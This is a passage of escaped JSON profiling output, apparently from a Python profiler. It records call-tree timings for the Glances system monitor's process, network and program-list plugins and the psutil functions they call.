\"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019994700051029213, \"l382\": 0.0019994700051029213},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019994700051029213, \"l1718\": 0.0019994700051029213},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.001999,\"attributes\": {\"l682\": 0.0019994700051029213},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002006,\"attributes\": {\"cProcess\": 0.0020061839968548156, \"l382\": 0.0020061839968548156},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.002006,\"attributes\": {\"cProcess\": 0.0020061839968548156, \"l1138\": 0.0020061839968548156},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002006,\"attributes\": {\"cProcess\": 0.0020061839968548156, \"l1593\": 0.0020061839968548156},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.002006,\"attributes\": {\"cProcess\": 0.0020061839968548156, \"l1878\": 0.0020061839968548156},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002006,\"attributes\": {\"l682\": 0.0020061839968548156},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002006,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002006,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.003999,\"attributes\": {\"cProcess\": 0.003999361004389357, \"l687\": 0.002002043001994025, \"l680\": 0.001997318002395332},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002002043001994025, \"l748\": 0.002002043001994025},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002002043001994025, \"l1593\": 0.002002043001994025},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002002043001994025, \"l1754\": 0.002002043001994025},\"children\": [{\"identifier\": \"_raise_if_zombie\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001646\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002002043001994025, \"l1647\": 0.002002043001994025},\"children\": [{\"identifier\": \"_is_zombie\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001630\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002002043001994025, \"l1638\": 0.002002043001994025},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002002,\"attributes\": {\"l730\": 0.002002043001994025},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002002,\"attributes\": {\"l718\": 0.002002043001994025},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002002,\"attributes\": {\"l682\": 0.002002043001994025},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997318002395332, \"l1593\": 0.001997318002395332},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997318002395332, \"l1740\": 0.001997318002395332},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997318002395332, \"l1593\": 0.001997318002395332},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997318002395332, \"l382\": 0.001997318002395332},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997318002395332, \"l1683\": 0.001997318002395332},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.001997,\"attributes\": {\"l730\": 0.001997318002395332},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.001997,\"attributes\": {\"l719\": 0.001997318002395332},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.001997,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000145\",\"time\": 0.001997,\"attributes\": {\"c_GeneratorContextManager\": 0.0019965119936387055, \"l148\": 0.0019965119936387055},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019965119936387055, \"l538\": 0.0019965119936387055},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020021020027343184, \"l680\": 0.0020021020027343184},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020021020027343184, \"l1593\": 0.0020021020027343184},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020021020027343184, \"l1740\": 0.0020021020027343184},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020021020027343184, \"l1593\": 0.0020021020027343184},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020021020027343184, \"l382\": 0.0020021020027343184},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020021020027343184, \"l1683\": 0.0020021020027343184},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002002,\"attributes\": {\"l730\": 0.0020021020027343184},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002002,\"attributes\": {\"l719\": 0.0020021020027343184},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"memory_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001156\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019976749972556718, \"l1190\": 0.0019976749972556718},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002004,\"attributes\": {\"cProcess\": 0.0020044660050189123, \"l680\": 0.0020044660050189123},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002004,\"attributes\": {\"cProcess\": 0.0020044660050189123, \"l1593\": 0.0020044660050189123},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002004,\"attributes\": {\"cProcess\": 0.0020044660050189123, \"l1740\": 0.0020044660050189123},\"children\": [{\"identifier\": \"decode\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000757\",\"time\": 0.002004,\"attributes\": {\"l758\": 0.0020044660050189123},\"children\": [{\"identifier\": \"bytes.decode\\u0000<built-in>\\u00000\",\"time\": 0.002004,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002004,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019970349967479706, \"l1064\": 0.0019970349967479706},\"children\": [{\"identifier\": \"cpu_count\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001667\",\"time\": 0.001997,\"attributes\": {\"l1682\": 0.0019970349967479706},\"children\": [{\"identifier\": \"cpu_count_logical\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000535\",\"time\": 0.001997,\"attributes\": {\"l538\": 0.0019970349967479706},\"children\": [{\"identifier\": \"sysconf\\u0000<built-in>\\u00000\",\"time\": 0.001997,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000093001697678, \"l939\": 0.002000093001697678},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000093001697678, \"l1593\": 0.002000093001697678},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000093001697678, \"l2052\": 0.002000093001697678},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000093001697678, \"l1593\": 0.002000093001697678},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999041000090074, \"l836\": 0.001999041000090074},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999041000090074, \"l1593\": 0.001999041000090074},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999041000090074, \"l1799\": 0.001999041000090074},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.004001280998636503, \"l382\": 0.0020005879996460862, \"l391\": 0.0020006929989904165},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001118\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020005879996460862, \"l1127\": 0.0020005879996460862},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020005879996460862, \"l1593\": 0.0020005879996460862},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001827\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020005879996460862, \"l1835\": 0.0020005879996460862},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]},{\"identifier\": \"__enter__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000136\",\"time\": 0.001999,\"attributes\": {\"c_GeneratorContextManager\": 0.0019989749998785555, \"l141\": 0.0019989749998785555},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019989749998785555, \"l535\": 0.0019989749998785555},\"children\": [{\"identifier\": \"oneshot_enter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001727\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019989749998785555, \"l1728\": 0.0019989749998785555},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.00200237500393996, \"l382\": 0.00200237500393996},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.00200237500393996, \"l1138\": 0.00200237500393996},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.00200237500393996, \"l1593\": 0.00200237500393996},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.00200237500393996, \"l1878\": 0.00200237500393996},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002002,\"attributes\": {\"l682\": 0.00200237500393996},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997168998059351, \"l1079\": 0.001997168998059351},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997168998059351, \"l1593\": 0.001997168998059351},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001827\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997168998059351, \"l1829\": 0.001997168998059351},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020021800009999424, \"l836\": 0.0020021800009999424},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020021800009999424, \"l1593\": 0.0020021800009999424},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020021800009999424, \"l1796\": 0.0020021800009999424},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002002,\"attributes\": {\"l682\": 0.0020021800009999424},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020009569998364896, \"l382\": 0.0020009569998364896},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020009569998364896, \"l1138\": 0.0020009569998364896},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020009569998364896, \"l1593\": 0.0020009569998364896},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020009569998364896, \"l1880\": 0.0020009569998364896},\"children\": [{\"identifier\": \"BufferedReader.readline\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"is_running\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000625\",\"time\": 0.007996,\"attributes\": {\"cProcess\": 0.007996487998752855, \"l639\": 0.007996487998752855},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000313\",\"time\": 0.007996,\"attributes\": {\"cProcess\": 0.007996487998752855, \"l314\": 0.007996487998752855},\"children\": [{\"identifier\": \"_init\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000316\",\"time\": 0.007996,\"attributes\": {\"cProcess\": 0.007996487998752855, \"l347\": 0.007996487998752855},\"children\": [{\"identifier\": \"_get_ident\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000363\",\"time\": 0.007996,\"attributes\": {\"cProcess\": 0.007996487998752855, \"l394\": 0.007996487998752855},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.007996,\"attributes\": {\"cProcess\": 0.007996487998752855, \"l1593\": 0.007996487998752855},\"children\": [{\"identifier\": \"create_time\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001848\",\"time\": 0.007996,\"attributes\": {\"cProcess\": 0.007996487998752855, \"l1860\": 0.0019974509996245615, \"l1857\": 0.005999036999128293},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.005999,\"attributes\": {\"cProcess\": 0.005999036999128293, \"l1593\": 0.005999036999128293},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.005999,\"attributes\": {\"cProcess\": 0.005999036999128293, \"l375\": 0.005999036999128293},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.005999,\"attributes\": {\"cProcess\": 0.005999036999128293, \"l1683\": 0.004000025997811463, \"l1688\": 0.0019990110013168305},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002000,\"attributes\": {\"l730\": 0.00199973499547923},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002000,\"attributes\": {\"l719\": 0.00199973499547923},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"bytes.find\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update_processcount\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000173\",\"time\": 0.002000,\"attributes\": {\"cGlancesProcesses\": 0.002000289998250082, \"l180\": 0.002000289998250082},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"update_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000683\",\"time\": 0.004000,\"attributes\": {\"cGlancesProcesses\": 0.004000277003797237, \"l689\": 0.004000277003797237},\"children\": [{\"identifier\": \"list_of_namedtuple_to_list_of_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000587\",\"time\": 0.004000,\"attributes\": {\"l589\": 0.004000277003797237},\"children\": [{\"identifier\": \"namedtuple_to_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000582\",\"time\": 0.004000,\"attributes\": {\"l584\": 0.004000277003797237},\"children\": [{\"identifier\": \"hasattr\\u0000<built-in>\\u00000\",\"time\": 0.004000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/programlist/__init__.py\\u0000148\",\"time\": 0.002005,\"attributes\": {\"cProgramlistPlugin\": 0.0020048549995408393, \"l155\": 0.0020048549995408393},\"children\": [{\"identifier\": \"get_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000704\",\"time\": 0.002005,\"attributes\": {\"cGlancesProcesses\": 0.0020048549995408393, \"l711\": 0.0020048549995408393},\"children\": [{\"identifier\": \"processes_to_programs\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000062\",\"time\": 0.002005,\"attributes\": {\"l69\": 0.0020048549995408393},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002005,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.007994,\"attributes\": {\"cProgramlistPlugin\": 0.007993544000783004, \"l678\": 0.007993544000783004},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.007994,\"attributes\": {\"cProgramlistPlugin\": 0.007993544000783004, \"l633\": 0.003993932994490024, \"l656\": 0.0019998710049549118, \"l634\": 0.0019997400013380684},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.003994,\"attributes\": {\"cProgramlistPlugin\": 0.003993932994490024, \"l614\": 0.0019944779996876605, \"l619\": 0.0019994549948023632},\"children\": [{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.003994,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001994,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.002109,\"attributes\": {\"l1295\": 0.002108978995238431},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/network/__init__.py\\u0000109\",\"time\": 0.002109,\"attributes\": {\"cNetworkPlugin\": 0.002108978995238431, \"l116\": 0.002108978995238431},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001349\",\"time\": 0.002109,\"attributes\": {\"cNetworkPlugin\": 0.002108978995238431, \"l1351\": 0.002108978995238431},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/network/__init__.py\\u0000130\",\"time\": 0.002109,\"attributes\": {\"cNetworkPlugin\": 0.002108978995238431, \"l157\": 0.002108978995238431},\"children\": [{\"identifier\": \"net_if_addrs\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002228\",\"time\": 0.002109,\"attributes\": {\"l2246\": 0.002108978995238431},\"children\": [{\"identifier\": \"net_if_addrs\\u0000<built-in>\\u00000\",\"time\": 0.002109,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002109,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.009892,\"attributes\": {\"cProcesslistPlugin\": 0.009892081005091313, \"l678\": 0.007888293010182679, \"l677\": 0.0020037879949086346},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.001894,\"attributes\": {\"cProcesslistPlugin\": 0.0018940060035674833, \"l634\": 0.0018940060035674833},\"children\": 